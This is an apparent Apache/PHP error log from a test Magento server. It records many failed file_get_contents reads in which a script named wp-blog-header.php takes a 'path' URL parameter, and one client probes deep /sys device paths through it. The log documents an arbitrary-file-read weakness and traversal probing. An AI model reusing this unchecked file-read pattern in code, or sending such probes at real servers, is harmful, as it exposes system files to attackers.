[Thu Mar 26 11:38:03.951973 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:38:05.533443 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/drivers/ac
[Thu Mar 26 11:38:08.163726 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:38:10.246444 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ea
[Thu Mar 26 11:38:20.411925 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ce
[Thu Mar 26 11:38:24.080105 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:bc
[Thu Mar 26 11:38:25.648465 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ba
[Thu Mar 26 11:38:26.187581 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:de
[Thu Mar 26 11:38:27.271101 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec
[Thu Mar 26 11:38:28.822308 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:bc
[Thu Mar 26 11:38:31.958212 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:38:37.200588 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:38:38.307456 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:38:45.771781 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:dc
[Thu Mar 26 11:38:47.242433 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:38:49.547585 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ec
[Thu Mar 26 11:38:53.756415 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:aa
[Thu Mar 26 11:38:57.507683 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/drivers/ac
[Thu Mar 26 11:38:58.080249 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:fc
[Thu Mar 26 11:38:58.548140 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ba
[Thu Mar 26 11:39:02.790309 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ba
[Thu Mar 26 11:39:03.827606 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/drivers/ec
[Thu Mar 26 11:39:07.014154 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:fc
[Thu Mar 26 11:39:09.123269 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/drivers/ec
[Thu Mar 26 11:39:09.659169 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:39:18.881007 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:cc
[Thu Mar 26 11:39:19.888035 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/ec
[Thu Mar 26 11:39:25.155106 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:dc
[Thu Mar 26 11:39:30.495140 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:39:31.549786 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ac
[Thu Mar 26 11:39:32.691644 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:39:41.746694 2026] [php:warn] [pid 3106381] [client 74.7.241.26:43264] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:39:42.975723 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:dc
[Thu Mar 26 11:39:47.638476 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/drivers/ec
[Thu Mar 26 11:39:52.939136 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:39:55.037475 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:da
[Thu Mar 26 11:39:55.581748 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:40:01.115331 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:40:03.699588 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:40:04.298808 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:40:05.823238 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:40:06.323168 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ce
[Thu Mar 26 11:40:09.978481 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ea
[Thu Mar 26 11:40:13.152304 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:aa
